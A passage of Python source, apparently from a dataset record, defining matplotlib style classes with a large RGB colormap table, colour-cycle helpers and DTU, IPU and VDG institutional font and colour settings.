-1.85874163e-35, 4.32740491e-32, -4.60790627e-29, 2.97271126e-26, -1.29744258e-23, 4.05138291e-21, -9.33419995e-19, 1.61295373e-16, -2.10418623e-14, 2.06972791e-12, -1.52201298e-10, 8.23377786e-09, -3.19603306e-07, 8.58912760e-06, -1.52305419e-04, 1.67708019e-03, -1.05536314e-02, 3.80789592e-02, 5.82194596e-03])\n #x = range(256)\n #LinL = np.empty((256,3))\n #LinL[:,0] = np.polyval(p0,x)\n #LinL[:,1] = np.polyval(p1,x)\n #LinL[:,2] = np.polyval(p2,x)\n #LinL = np.clip(LinL,0,1)\n LinL = np.array([[ 1.43000000e-02, 1.43000000e-02, 1.43000000e-02],\n [ 4.04000000e-02, 1.25000000e-02, 3.25000000e-02],\n [ 5.16000000e-02, 1.54000000e-02, 4.43000000e-02],\n [ 6.16000000e-02, 1.84000000e-02, 5.30000000e-02],\n [ 6.99000000e-02, 2.15000000e-02, 6.15000000e-02],\n [ 8.14000000e-02, 2.29000000e-02, 6.87000000e-02],\n [ 8.57000000e-02, 2.73000000e-02, 7.63000000e-02],\n [ 9.28000000e-02, 3.05000000e-02, 8.05000000e-02],\n [ 1.00800000e-01, 3.30000000e-02, 8.46000000e-02],\n [ 1.06400000e-01, 3.56000000e-02, 9.39000000e-02],\n [ 1.11000000e-01, 3.96000000e-02, 9.79000000e-02],\n [ 1.18400000e-01, 4.15000000e-02, 1.02000000e-01],\n [ 1.22400000e-01, 4.53000000e-02, 1.06200000e-01],\n [ 1.26300000e-01, 4.89000000e-02, 1.10500000e-01],\n [ 1.30800000e-01, 5.18000000e-02, 1.15000000e-01],\n [ 1.35700000e-01, 5.41000000e-02, 1.20000000e-01],\n [ 1.41300000e-01, 5.55000000e-02, 1.25600000e-01],\n [ 1.45300000e-01, 5.90000000e-02, 1.25600000e-01],\n [ 1.50600000e-01, 6.03000000e-02, 1.30900000e-01],\n [ 1.53300000e-01, 6.37000000e-02, 1.34400000e-01],\n [ 1.56900000e-01, 6.64000000e-02, 1.38500000e-01],\n [ 1.62400000e-01, 6.78000000e-02, 1.42500000e-01],\n [ 1.65400000e-01, 7.08000000e-02, 1.47100000e-01],\n [ 1.70300000e-01, 7.29000000e-02, 1.50400000e-01],\n [ 1.74200000e-01, 7.55000000e-02, 1.54200000e-01],\n [ 1.79600000e-01, 7.68000000e-02, 1.59500000e-01],\n [ 1.80900000e-01, 7.83000000e-02, 1.77500000e-01],\n [ 1.79800000e-01, 8.07000000e-02, 1.96700000e-01],\n [ 1.78300000e-01, 8.29000000e-02, 2.15900000e-01],\n [ 1.78200000e-01, 8.43000000e-02, 2.34100000e-01],\n [ 1.76500000e-01, 8.66000000e-02, 2.51400000e-01],\n [ 1.77000000e-01, 8.86000000e-02, 2.64600000e-01],\n [ 1.76100000e-01, 9.11000000e-02, 2.78200000e-01],\n [ 1.75400000e-01, 9.33000000e-02, 2.92200000e-01],\n [ 1.77300000e-01, 9.51000000e-02, 3.02600000e-01],\n [ 1.75800000e-01, 9.72000000e-02, 3.17400000e-01],\n [ 1.75100000e-01, 9.99000000e-02, 3.29000000e-01],\n [ 1.74400000e-01, 1.02500000e-01, 3.40500000e-01],\n [ 1.73500000e-01, 1.04700000e-01, 3.53400000e-01],\n [ 1.74800000e-01, 1.07100000e-01, 3.62700000e-01],\n [ 1.74700000e-01, 1.09400000e-01, 3.73900000e-01],\n [ 1.72600000e-01, 1.12200000e-01, 3.85800000e-01],\n [ 1.73100000e-01, 1.15300000e-01, 3.94000000e-01],\n [ 1.73100000e-01, 1.17500000e-01, 4.05100000e-01],\n [ 1.73100000e-01, 1.19700000e-01, 4.16100000e-01],\n [ 1.72000000e-01, 1.22400000e-01, 4.26800000e-01],\n [ 1.73000000e-01, 1.26100000e-01, 4.33000000e-01],\n [ 1.71600000e-01, 1.28500000e-01, 4.44500000e-01],\n [ 1.71000000e-01, 1.31400000e-01, 4.54000000e-01],\n [ 1.70600000e-01, 1.34000000e-01, 4.64200000e-01],\n [ 1.66400000e-01, 1.38100000e-01, 4.73900000e-01],\n [ 1.58200000e-01, 1.48200000e-01, 4.71700000e-01],\n [ 1.48700000e-01, 1.58300000e-01, 4.68300000e-01],\n [ 1.42200000e-01, 1.65300000e-01, 4.69900000e-01],\n [ 1.35200000e-01, 1.72900000e-01, 4.69400000e-01],\n [ 1.28100000e-01, 1.79600000e-01, 4.70800000e-01],\n [ 1.25400000e-01, 1.85400000e-01, 4.71900000e-01],\n [ 1.20700000e-01, 1.90400000e-01, 4.76200000e-01],\n [ 1.16700000e-01, 1.96200000e-01, 4.77300000e-01],\n [ 1.16600000e-01, 2.00400000e-01, 4.81400000e-01],\n [ 1.14700000e-01, 2.05700000e-01, 4.82300000e-01],\n [ 1.13700000e-01, 2.09300000e-01, 4.88800000e-01],\n [ 1.09100000e-01, 2.14900000e-01, 4.90400000e-01],\n [ 1.08900000e-01, 2.19000000e-01, 4.94400000e-01],\n [ 1.07400000e-01, 2.23400000e-01, 4.98400000e-01],\n [ 1.10800000e-01, 2.27000000e-01, 5.02200000e-01],\n [ 1.09600000e-01, 2.31500000e-01, 5.05600000e-01],\n [ 1.05800000e-01, 2.36700000e-01, 5.07700000e-01],\n [ 1.04800000e-01, 2.40200000e-01, 5.14500000e-01],\n [ 1.04700000e-01, 2.44400000e-01, 5.18200000e-01],\n [ 1.06800000e-01, 2.48200000e-01, 5.22300000e-01],\n [ 1.08600000e-01, 2.52100000e-01, 5.26400000e-01],\n [ 1.06700000e-01, 2.56800000e-01, 5.29000000e-01],\n [ 1.06100000e-01, 2.60700000e-01, 5.34600000e-01],\n [ 1.05900000e-01, 2.64800000e-01, 5.38600000e-01],\n [ 1.05600000e-01, 2.69000000e-01, 5.42700000e-01],\n [ 9.69000000e-02, 2.76900000e-01, 5.34300000e-01],\n [ 8.79000000e-02, 2.84700000e-01, 5.25100000e-01],\n [ 8.32000000e-02, 2.90700000e-01, 5.21800000e-01],\n [ 7.93000000e-02, 2.97200000e-01, 5.15300000e-01],\n [ 6.86000000e-02, 3.04400000e-01, 5.06800000e-01],\n [ 6.39000000e-02, 3.10600000e-01, 5.00600000e-01],\n [ 5.86000000e-02, 3.16600000e-01, 4.95500000e-01],\n [ 5.36000000e-02, 3.22700000e-01, 4.88800000e-01],\n [ 3.88000000e-02, 3.29200000e-01, 4.81700000e-01],\n [ 4.09000000e-02, 3.34300000e-01, 4.78600000e-01],\n [ 3.45000000e-02, 3.40100000e-01, 4.72200000e-01],\n [ 3.00000000e-02, 3.45800000e-01, 4.66500000e-01],\n [ 2.90000000e-02, 3.50600000e-01, 4.64700000e-01],\n [ 2.26000000e-02, 3.56400000e-01, 4.57800000e-01],\n [ 1.54000000e-02, 3.61900000e-01, 4.52900000e-01],\n [ 1.46000000e-02, 3.67000000e-01, 4.48700000e-01],\n [ 1.69000000e-02, 3.71800000e-01, 4.46400000e-01],\n [ 1.17000000e-02, 3.77300000e-01, 4.40000000e-01],\n [ 5.50000000e-03, 3.82800000e-01, 4.33400000e-01],\n [ 5.20000000e-03, 3.87300000e-01, 4.32700000e-01],\n [ 8.00000000e-04, 3.92700000e-01, 4.26700000e-01],\n [ 0.00000000e+00, 3.97700000e-01, 4.22000000e-01],\n [ 3.00000000e-04, 4.02400000e-01, 4.20000000e-01],\n [ 1.30000000e-03, 4.07200000e-01, 4.16600000e-01],\n [ 0.00000000e+00, 4.13200000e-01, 4.10700000e-01],\n [ 0.00000000e+00, 4.17900000e-01, 4.07100000e-01],\n [ 0.00000000e+00, 4.24200000e-01, 3.97700000e-01],\n [ 0.00000000e+00, 4.30200000e-01, 3.91900000e-01],\n [ 0.00000000e+00, 4.34500000e-01, 3.89000000e-01],\n [ 0.00000000e+00, 4.39500000e-01, 3.84900000e-01],\n [ 0.00000000e+00, 4.45600000e-01, 3.77600000e-01],\n [ 0.00000000e+00, 4.50800000e-01, 3.72800000e-01],\n [ 0.00000000e+00, 4.56300000e-01, 3.66600000e-01],\n [ 0.00000000e+00, 4.61300000e-01, 3.59700000e-01],\n [ 0.00000000e+00, 4.67000000e-01, 3.54200000e-01],\n [ 0.00000000e+00, 4.71600000e-01, 3.50400000e-01],\n [ 0.00000000e+00, 4.76300000e-01, 3.46400000e-01],\n [ 0.00000000e+00, 4.82000000e-01, 3.37500000e-01],\n [ 0.00000000e+00, 4.87000000e-01, 3.33100000e-01],\n [ 0.00000000e+00, 4.91800000e-01, 3.25600000e-01],\n [ 0.00000000e+00, 4.96900000e-01, 3.19800000e-01],\n [ 0.00000000e+00, 5.02400000e-01, 3.12600000e-01],\n [ 0.00000000e+00, 5.06000000e-01, 3.10100000e-01],\n [ 0.00000000e+00, 5.11800000e-01, 3.01200000e-01],\n [ 0.00000000e+00, 5.16600000e-01, 2.93800000e-01],\n [ 0.00000000e+00, 5.21400000e-01, 2.87100000e-01],\n [ 0.00000000e+00, 5.26800000e-01, 2.81600000e-01],\n [ 0.00000000e+00, 5.31500000e-01, 2.72600000e-01],\n [ 0.00000000e+00, 5.35600000e-01, 2.67500000e-01],\n [ 0.00000000e+00, 5.40700000e-01, 2.59700000e-01],\n [ 0.00000000e+00, 5.46100000e-01, 2.55200000e-01],\n [ 0.00000000e+00, 5.51900000e-01, 2.50600000e-01],\n [ 0.00000000e+00, 5.56500000e-01, 2.46900000e-01],\n [ 0.00000000e+00, 5.62400000e-01, 2.39600000e-01],\n [ 0.00000000e+00, 5.67800000e-01, 2.36000000e-01],\n [ 0.00000000e+00, 5.72700000e-01, 2.33800000e-01],\n [ 0.00000000e+00, 5.77800000e-01, 2.28700000e-01],\n [ 0.00000000e+00, 5.82900000e-01, 2.25000000e-01],\n [ 0.00000000e+00, 5.88300000e-01, 2.18000000e-01],\n [ 0.00000000e+00, 5.93100000e-01, 2.14600000e-01],\n [ 0.00000000e+00, 5.99100000e-01, 2.08900000e-01],\n [ 0.00000000e+00, 6.03600000e-01, 2.05600000e-01],\n [ 0.00000000e+00, 6.08400000e-01, 1.99900000e-01],\n [ 0.00000000e+00, 6.13800000e-01, 1.96100000e-01],\n [ 0.00000000e+00, 6.18900000e-01, 1.89900000e-01],\n [ 0.00000000e+00, 6.23900000e-01, 1.84800000e-01],\n [ 0.00000000e+00, 6.29000000e-01, 1.75900000e-01],\n [ 0.00000000e+00, 6.34500000e-01, 1.70700000e-01],\n [ 0.00000000e+00, 6.38100000e-01, 1.63800000e-01],\n [ 0.00000000e+00, 6.43800000e-01, 1.59200000e-01],\n [ 0.00000000e+00, 6.48900000e-01, 1.51900000e-01],\n [ 0.00000000e+00, 6.53600000e-01, 1.41000000e-01],\n [ 0.00000000e+00, 6.59000000e-01, 1.32200000e-01],\n [ 0.00000000e+00, 6.64500000e-01, 1.22200000e-01],\n [ 0.00000000e+00, 6.65600000e-01, 9.09000000e-02],\n [ 0.00000000e+00, 6.64400000e-01, 3.22000000e-02],\n [ 3.51000000e-02, 6.66000000e-01, 0.00000000e+00],\n [ 7.97000000e-02, 6.70300000e-01, 0.00000000e+00],\n [ 1.12900000e-01, 6.73900000e-01, 0.00000000e+00],\n [ 1.39200000e-01, 6.77600000e-01, 0.00000000e+00],\n [ 1.56600000e-01, 6.81400000e-01, 0.00000000e+00],\n [ 1.76500000e-01, 6.84700000e-01, 0.00000000e+00],\n [ 1.89000000e-01, 6.89000000e-01, 0.00000000e+00],\n [ 2.03000000e-01, 6.92800000e-01, 0.00000000e+00],\n [ 2.16700000e-01, 6.96600000e-01, 0.00000000e+00],\n [ 2.29900000e-01, 7.00300000e-01, 0.00000000e+00],\n [ 2.39100000e-01, 7.04400000e-01, 0.00000000e+00],\n [ 2.51700000e-01, 7.08100000e-01, 0.00000000e+00],\n [ 2.57400000e-01, 7.12400000e-01, 0.00000000e+00],\n [ 2.67900000e-01, 7.16200000e-01, 0.00000000e+00],\n [ 2.79000000e-01, 7.20000000e-01, 0.00000000e+00],\n [ 2.87800000e-01, 7.24000000e-01, 0.00000000e+00],\n [ 2.96500000e-01, 7.28000000e-01, 0.00000000e+00],\n [ 3.05200000e-01, 7.31900000e-01, 0.00000000e+00],\n [ 3.10100000e-01, 7.36200000e-01, 0.00000000e+00],\n [ 3.18700000e-01, 7.40200000e-01, 0.00000000e+00],\n [ 3.27200000e-01, 7.44100000e-01, 0.00000000e+00],\n [ 3.34500000e-01, 7.48200000e-01, 0.00000000e+00],\n [ 3.40600000e-01, 7.52300000e-01, 0.00000000e+00],\n [ 3.60400000e-01, 7.54900000e-01, 0.00000000e+00],\n [ 3.89800000e-01, 7.56300000e-01, 0.00000000e+00],\n [ 4.16900000e-01, 7.57400000e-01, 0.00000000e+00],\n [ 4.46100000e-01, 7.58000000e-01, 0.00000000e+00],\n [ 4.68100000e-01, 7.59400000e-01, 0.00000000e+00],\n [ 4.90000000e-01, 7.61200000e-01, 0.00000000e+00],\n [ 5.08900000e-01, 7.62700000e-01, 0.00000000e+00],\n [ 5.30400000e-01, 7.63700000e-01, 0.00000000e+00],\n [ 5.50000000e-01, 7.64900000e-01, 0.00000000e+00],\n [ 5.69800000e-01, 7.66000000e-01, 0.00000000e+00],\n [ 5.82500000e-01, 7.68800000e-01, 0.00000000e+00],\n [ 5.99900000e-01, 7.70100000e-01, 0.00000000e+00],\n [ 6.17300000e-01, 7.71300000e-01, 0.00000000e+00],\n [ 6.31400000e-01, 7.73000000e-01, 0.00000000e+00],\n [ 6.48700000e-01, 7.74100000e-01, 0.00000000e+00],\n [ 6.63200000e-01, 7.76300000e-01, 0.00000000e+00],\n [ 6.75700000e-01, 7.78200000e-01, 0.00000000e+00],\n [ 6.91200000e-01, 7.79500000e-01, 0.00000000e+00],\n [ 7.06100000e-01, 7.80800000e-01, 0.00000000e+00],\n [ 7.22200000e-01, 7.81800000e-01, 0.00000000e+00],\n [ 7.30500000e-01, 7.85200000e-01, 0.00000000e+00],\n [ 7.44200000e-01, 7.86600000e-01, 0.00000000e+00],\n [ 7.58000000e-01, 7.88000000e-01, 0.00000000e+00],\n [ 7.70900000e-01, 7.89600000e-01, 0.00000000e+00],\n [ 7.83300000e-01, 7.91500000e-01, 0.00000000e+00],\n [ 7.87200000e-01, 7.89100000e-01, 9.51000000e-02],\n [ 7.97200000e-01, 7.90300000e-01, 1.98800000e-01],\n [ 8.07200000e-01, 7.91700000e-01, 2.56000000e-01],\n [ 8.11600000e-01, 7.94900000e-01, 3.00100000e-01],\n [ 8.21100000e-01, 7.96400000e-01, 3.39700000e-01],\n [ 8.30800000e-01, 7.98000000e-01, 3.71000000e-01],\n [ 8.35000000e-01, 8.01100000e-01, 4.02800000e-01],\n [ 8.45000000e-01, 8.02600000e-01, 4.29200000e-01],\n [ 8.54800000e-01, 8.04100000e-01, 4.55500000e-01],\n [ 8.60200000e-01, 8.07300000e-01, 4.73500000e-01],\n [ 8.65800000e-01, 8.10000000e-01, 4.99300000e-01],\n [ 8.75800000e-01, 8.11600000e-01, 5.18400000e-01],\n [ 8.85600000e-01, 8.13000000e-01, 5.40200000e-01],\n [ 8.89500000e-01, 8.16400000e-01, 5.60200000e-01],\n [ 8.99400000e-01, 8.18000000e-01, 5.77500000e-01],\n [ 9.07700000e-01, 8.20200000e-01, 5.91800000e-01],\n [ 9.10600000e-01, 8.24100000e-01, 6.09400000e-01],\n [ 9.20500000e-01, 8.25700000e-01, 6.25300000e-01],\n [ 9.28400000e-01, 8.27800000e-01, 6.42000000e-01],\n [ 9.34300000e-01, 8.30700000e-01, 6.57600000e-01],\n [ 9.41500000e-01, 8.32900000e-01, 6.76200000e-01],\n [ 9.51200000e-01, 8.34800000e-01, 6.86800000e-01],\n [ 9.54900000e-01, 8.38400000e-01, 7.02600000e-01],\n [ 9.62200000e-01, 8.40800000e-01, 7.17000000e-01],\n [ 9.71200000e-01, 8.42900000e-01, 7.28700000e-01],\n [ 9.70800000e-01, 8.48200000e-01, 7.40900000e-01],\n [ 9.71300000e-01, 8.53000000e-01, 7.55500000e-01],\n [ 9.69100000e-01, 8.59100000e-01, 7.65500000e-01],\n [ 9.69900000e-01, 8.64200000e-01, 7.74600000e-01],\n [ 9.70300000e-01, 8.69100000e-01, 7.87100000e-01],\n [ 9.71000000e-01, 8.74000000e-01, 7.99900000e-01],\n [ 9.69500000e-01, 8.80000000e-01, 8.06700000e-01],\n [ 9.69600000e-01, 8.85100000e-01, 8.18800000e-01],\n [ 9.68600000e-01, 8.90800000e-01, 8.27800000e-01],\n [ 9.68100000e-01, 8.96200000e-01, 8.37800000e-01],\n [ 9.68800000e-01, 9.01300000e-01, 8.46700000e-01],\n [ 9.69600000e-01, 9.06400000e-01, 8.55700000e-01],\n [ 9.70300000e-01, 9.11500000e-01, 8.64700000e-01],\n [ 9.70800000e-01, 9.16300000e-01, 8.77300000e-01],\n [ 9.69100000e-01, 9.22400000e-01, 8.83800000e-01],\n [ 9.69200000e-01, 9.27300000e-01, 8.96100000e-01],\n [ 9.69900000e-01, 9.32300000e-01, 9.05100000e-01],\n [ 9.69300000e-01, 9.38100000e-01, 9.10800000e-01],\n [ 9.71400000e-01, 9.42500000e-01, 9.23000000e-01],\n [ 9.71200000e-01, 9.47800000e-01, 9.31100000e-01],\n [ 9.70000000e-01, 9.53700000e-01, 9.38100000e-01],\n [ 9.70700000e-01, 9.58700000e-01, 9.47000000e-01],\n [ 9.71300000e-01, 9.63800000e-01, 9.56000000e-01],\n [ 9.72600000e-01, 9.68700000e-01, 9.64800000e-01],\n [ 9.73800000e-01, 9.73800000e-01, 9.71100000e-01],\n [ 9.78000000e-01, 9.78000000e-01, 9.78000000e-01],\n [ 9.82400000e-01, 9.82400000e-01, 9.82400000e-01],\n [ 9.86800000e-01, 9.86800000e-01, 9.86800000e-01],\n [ 9.91200000e-01, 9.91200000e-01, 9.91200000e-01],\n [ 9.95600000e-01, 9.95600000e-01, 9.95600000e-01],\n [ 1.00000000e+00, 1.00000000e+00, 1.00000000e+00]])\n b3 = LinL[:,2] # value of blue at sample n\n b2 = LinL[:,2] # value of blue at sample n\n b1 = np.linspace(0, 1, len(b2)) # position of sample n - ranges from 0 to 1\n\n # Setting up columns for tuples\n g3 = LinL[:,1]\n g2 = LinL[:,1]\n g1 = np.linspace(0,1,len(g2))\n\n r3 = LinL[:,0]\n r2 = LinL[:,0]\n r1 = np.linspace(0,1,len(r2))\n\n # Creating tuples\n R = zip(r1,r2,r3)\n G = zip(g1,g2,g3)\n B = zip(b1,b2,b3)\n\n # Transposing\n RGB = zip(R,G,B)\n rgb = zip(*RGB)\n\n # Creating dictionary\n k = ['red', 'green', 'blue']\n specs['matteoniccoli'] = dict(zip(k,rgb)) \n \n for name in specs:\n mplcm.register_cmap(name=name, data=specs[name])\n mplcm.register_cmap(name=name+\"_r\", data=mplcm._reverse_cmap_spec(specs[name]))\n self._color_maps[name] = self.get_color_map(name)\n self._color_maps[name+\"_r\"] = self.get_color_map(name+\"_r\")\n \n def _register_color_lists(self, length=default_lst):\n cc = mpl.colors.ColorConverter()\n self._color_lists['matplotlib'] = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n self._color_lists['simple'] = ['#FF0000', '#FFD300', '#3914AF', '#00CC00']\n self._color_lists['brewer'] = ['#e66101', '#fdb863', '#b2abd2', '#5e3c99']\n for i in self._color_lists:\n self._color_lists[i] = [cc.to_rgb(item) for item in self._color_lists[i]]\n self._color_lists['cblind'] = [(0.9,0.6,0.0), (0.35,0.70,0.90), (0.00,0.60,0.50), (0.00,0.45,0.70), (0.80,0.40,0.00), (0.80,0.60,0.70)]\n self._color_lists['brewer1'] = brewer2mpl.get_map('Set1', 'qualitative', length).mpl_colors\n self._color_lists['brewer2'] = brewer2mpl.get_map('Set2', 'qualitative', length).mpl_colors\n \n\n def color_cycle(self, name='map', cmap=None, length=None):\n '''Returns the current colour cycle, creates a new one if necessary.\n \n Parameters\n ----------\n name : str\n selector for colour cycle:\n 'cmap': use a colourmap to generate cycle, see http://matplotlib.org/1.2.1/examples/pylab_examples/show_colormaps.html\n 'DTU': uses the colours from the DTU design guide\n 'DTU_dark': uses the colours from the DTU design guide, darker colours first, good for presentations\n 'cblind': A scheme for colourblind people\n 'matplotlib': The standard matplotlib scheme\n 'simple': A simple four-colour scheme that work for greyscale and colourblind people\n 'brewer1' and 'brewer2': See http://colorbrewer2.org, works for colourblind and greyscale\n \n '''\n if name=='map':\n if length is None: length = self.default_lst\n if cmap is None: cmap = self.default_map\n cmap = self.get_color_map(cmap)\n clist = [cmap(i) for i in np.linspace(0.25, 0.75, length)]\n else:\n clist = self._color_lists[name]\n \n if length is not None:\n if length<1: \n return cycle(['none'])\n elif length<=len(clist):\n return cycle(list(clist)[0:length])\n elif length>len(clist):\n self.autolog(\"Colour cycle is too short, cannot extend it.\")\n return cycle(clist)\n \n def _show_info(self,show=True):\n self.update_rc_params()\n lsts = self._color_lists.keys() \n l = len(lsts) \n import matplotlib.pyplot as plt\n line_fig = plt.figure()\n xdata = np.linspace(0,6)\n for i, m in enumerate(lsts):\n plt.subplot(1,l,i+1)\n plt.axis(\"off\")\n for j in self._color_lists[m]:\n plt.plot(xdata,np.random.normal(size=len(xdata)),lw=1.5,color=j)\n plt.title(m,rotation=45)\n plt.tight_layout()\n\n xdata=np.outer(np.arange(0,1,0.01),np.ones(10))\n maps = [m for m in self._color_maps.keys() if not m.endswith(\"_r\")]\n l=len(maps)\n map_fig = plt.figure()\n for i, m in enumerate(maps):\n plt.subplot(1,l,i+1)\n plt.axis(\"off\")\n plt.imshow(xdata,aspect='auto',cmap=plt.get_cmap(m),origin=\"lower\")\n plt.title(m,rotation=45)\n plt.tight_layout()\n \n if show: plt.show()\n #else: plt.close('all')\n return line_fig,map_fig\n\n\nclass DtuStyle(BaseStyle):\n def __init__(self):\n BaseStyle.__init__(self)\n \n def update_rc_params(self):\n BaseStyle.update_rc_params(self)\n self._add_to_rc_font_list('Myriad Pro, Arial, Verdana','font.sans-serif')\n self._add_to_rc_font_list('Minion Pro, Times New Roman, Times','font.serif') \n #mpl.rcParams['font.monospace'] = 'CMU Typewriter Text'\n \n #mpl.rcParams['font.family'] = 'sans-serif'\n #mpl.rcParams['mathtext.it'] = 'Myriad Pro:italic'\n #mpl.rcParams['mathtext.bf'] = 'Myriad Pro:bold'\n \n mpl.rcParams['font.family'] = 'serif'\n #mpl.rcParams['mathtext.it'] = 'Minion Pro:italic'\n #mpl.rcParams['mathtext.bf'] = 'Minion Pro:bold'\n \n mpl.rcParams['mathtext.fontset'] = \"custom\" # Should be 'cm' (Computer Modern), 'stix', 'stixsans'\n mpl.rcParams['mathtext.cal'] = 'serif:italic'\n mpl.rcParams['mathtext.rm'] = 'serif'\n mpl.rcParams['mathtext.tt'] = 'monospace'\n mpl.rcParams['mathtext.it'] = 'serif:italic'\n mpl.rcParams['mathtext.bf'] = 'serif:bold'\n mpl.rcParams['mathtext.sf'] = 'sans'\n \n \n def _mplpreamble(self):\n preamble = BaseStyle._mplpreamble(self)\n preamble.append(r'\\usepackage{MnSymbol}')\n preamble.append(r'\\usepackage[lf]{MyriadPro} % Sans font')\n preamble.append(r'\\usepackage[lf]{MinionPro} % Serif font')\n return preamble \n \n def _register_color_maps(self):\n BaseStyle._register_color_maps(self)\n \n cc = mpl.colors.ColorConverter()\n redwhite = [cc.to_rgba('#FF0000',alpha=1),cc.to_rgba('#FFFFFF',alpha=1)]\n greenwhite = [cc.to_rgba('#99CC33',alpha=1),cc.to_rgba('#FFFFFF',alpha=1)]\n purplewhite = [cc.to_rgba('#660099',alpha=1),cc.to_rgba('#FFFFFF',alpha=1)]\n yellowwhite = [cc.to_rgba('#FFCC00',alpha=1),cc.to_rgba('#FFFFFF',alpha=1)]\n # create map and register it together with reversed colours\n maps = []\n maps.append(LinearSegmentedColormap.from_list('DTU1', redwhite))\n maps.append(LinearSegmentedColormap.from_list('DTU1_r', redwhite[::-1]))\n maps.append(LinearSegmentedColormap.from_list('DTU2', greenwhite))\n maps.append(LinearSegmentedColormap.from_list('DTU2_r', greenwhite[::-1]))\n maps.append(LinearSegmentedColormap.from_list('DTU3', purplewhite))\n maps.append(LinearSegmentedColormap.from_list('DTU3_r', purplewhite[::-1]))\n maps.append(LinearSegmentedColormap.from_list('DTU4', yellowwhite))\n maps.append(LinearSegmentedColormap.from_list('DTU4_r', yellowwhite[::-1]))\n \n for cmap in maps:\n mplcm.register_cmap(cmap=cmap)\n self._color_maps[cmap.name] = cmap\n\n def _register_color_lists(self, length=BaseStyle.default_lst):\n BaseStyle._register_color_lists(self)\n cc = mpl.colors.ColorConverter()\n self._color_lists['DTU'] = [ cc.to_rgb(item) for item in ['#FF0000', '#99CC33', '#660099', '#FFCC00', '#999999', '#000000', '#33CCFF', '#3366CC', '#FF9900', '#CC3399', '#66CC00'] ]\n self._color_lists['DTU_dark'] = [ cc.to_rgb(item) for item in ['#FF0000', '#660099', '#99CC33', '#3366CC', '#999999', '#FFCC00', '#000000', '#33CCFF', '#FF9900', '#CC3399', '#66CC00'] ]\n \n\nclass IpuStyle(BaseStyle):\n \n default_map = \"IPU\"\n \n def __init__(self):\n BaseStyle.__init__(self)\n \n def update_rc_params(self):\n BaseStyle.update_rc_params(self)\n self._add_to_rc_font_list('Helvetica, Arial, cmbright, Verdana','font.sans-serif')\n self._add_to_rc_font_list('Times New Roman, Times','font.serif') \n self._add_to_rc_font_list('sourcecodepro','font.monospace')\n mpl.rcParams['font.family'] = 'sans-serif'\n #mpl.rcParams['font.monospace'] = 'CMU Typewriter Text'\n mpl.rcParams['mathtext.fontset'] = \"custom\" # Should be 'cm' (Computer Modern), 'stix', 'stixsans'\n mpl.rcParams['mathtext.cal'] = 'sans:italic'\n mpl.rcParams['mathtext.rm'] = 'sans'\n mpl.rcParams['mathtext.tt'] = 'monospace'\n mpl.rcParams['mathtext.it'] = 'sans:italic'\n mpl.rcParams['mathtext.bf'] = 'sans:bold'\n mpl.rcParams['mathtext.sf'] = 'sans'\n \n \n def _mplpreamble(self):\n preamble = BaseStyle._mplpreamble(self)\n preamble.append(r'\\usepackage{cmbright}')\n preamble.append(r'\\usepackage{helvet}')\n #preamble.append(r'\\usepackage{sansmath}')\n #preamble.append(r'\\sansmath')\n #preamble.append(r'\\renewcommand*{\\familydefault}{\\sfdefault}')\n return preamble \n \n def _register_color_maps(self):\n BaseStyle._register_color_maps(self)\n rgb = [\n ( 0./255. , 0./255. , 0./255.), \n ( 0./255. , 102./255. , 51./255.),\n (114./255. , 121./255. , 126./255.),\n ( 91./255. , 172./255. , 38./255.),\n (217./255. , 220./255. , 222./255.),\n (255./255. , 255./255. , 255./255.)\n ]\n\n # create map and register it together with reversed colours\n maps = []\n maps.append(LinearSegmentedColormap.from_list('IPU' , rgb))\n maps.append(LinearSegmentedColormap.from_list('IPU_r', rgb[::-1]))\n \n for cmap in maps:\n mplcm.register_cmap(cmap=cmap)\n self._color_maps[cmap.name] = cmap\n \n def _register_color_lists(self, length=BaseStyle.default_lst):\n BaseStyle._register_color_lists(self)\n self._color_lists['IPU'] = [\n ( 0./255. , 0./255. , 0./255.), \n ( 0./255. , 102./255. , 51./255.),\n (114./255. , 121./255. , 126./255.),\n ( 91./255. , 172./255. , 38./255.),\n (217./255. , 220./255. , 222./255.),\n #(255./255. , 255./255. , 255./255.)\n ]\n \n def color_cycle(self, name='IPU', cmap=None, length=None):\n return BaseStyle.color_cycle(self, name, map, length)\n\n\nclass VdgStyle(BaseStyle):\n \n default_map = \"VDG\"\n\n def __init__(self):\n BaseStyle.__init__(self)\n mpl.rcParams['lines.linewidth'] = 1.25 # line width in points\n \n def update_rc_params(self):\n BaseStyle.update_rc_params(self)\n self._add_to_rc_font_list('Helvetica, Arial, cmbright, Verdana','font.sans-serif')\n self._add_to_rc_font_list('Times New Roman, Times','font.serif')\n self._add_to_rc_font_list('sourcecodepro','font.monospace')\n mpl.rcParams['font.family'] = 'sans-serif'\n mpl.rcParams['mathtext.fontset'] = \"custom\" # Should be 'cm' (Computer Modern), 'stix', 'stixsans'\n mpl.rcParams['mathtext.cal'] = 'sans:italic'\n mpl.rcParams['mathtext.rm'] = 'sans'\n mpl.rcParams['mathtext.tt'] = 'monospace'\n mpl.rcParams['mathtext.it'] = 'sans:italic'\n mpl.rcParams['mathtext.bf'] = 'sans:bold'\n mpl.rcParams['mathtext.sf'] = 'sans'\n \n \n def _mplpreamble(self):\n preamble = BaseStyle._mplpreamble(self)\n preamble.append(r'\\usepackage{cmbright}')\n preamble.append(r'\\usepackage{helvet}')\n #preamble.append(r'\\usepackage{sansmath}')\n #preamble.append(r'\\sansmath')\n #preamble.append(r'\\renewcommand*{\\familydefault}{\\sfdefault}')\n return preamble \n \n def _register_color_maps(self):\n BaseStyle._register_color_maps(self)\n rgb = [\n ( 25./255. , 13./255. , 25./255.),\n ( 0./255. , 51./255. , 102./255.), \n #(205./255. , 51./255. , 51./255.),\n ( 0./255. , 109./255. , 148./255.),\n (127./255. , 186./255. , 50./255.),\n (255./255. , 255./255. , 255./255.)]\n\n # create map and register it together with reversed colours\n maps = []\n maps.append(LinearSegmentedColormap.from_list('VDG' , rgb))\n maps.append(LinearSegmentedColormap.from_list('VDG_r', rgb[::-1]))\n \n for cmap in maps:\n mplcm.register_cmap(cmap=cmap)\n self._color_maps[cmap.name] = cmap\n\n def _register_color_lists(self, length=BaseStyle.default_lst):\n BaseStyle._register_color_lists(self)\n self._color_lists['VDG'] = [\n ( 0./255. , 51./255. , 102./255.), \n (205./255. , 51./255. , 51./255.),\n ( 0./255. , 109./255. , 148./255.),\n (127./255. , 186./255. , 50./255.),\n #(255./255. , 255./255. , 255./255.)\n ]\n \n def color_cycle(self, name='VDG', cmap=None, length=None):\n return BaseStyle.color_cycle(self, name, map, length)\n"
},
{
"alpha_fraction": 0.5919778943061829,
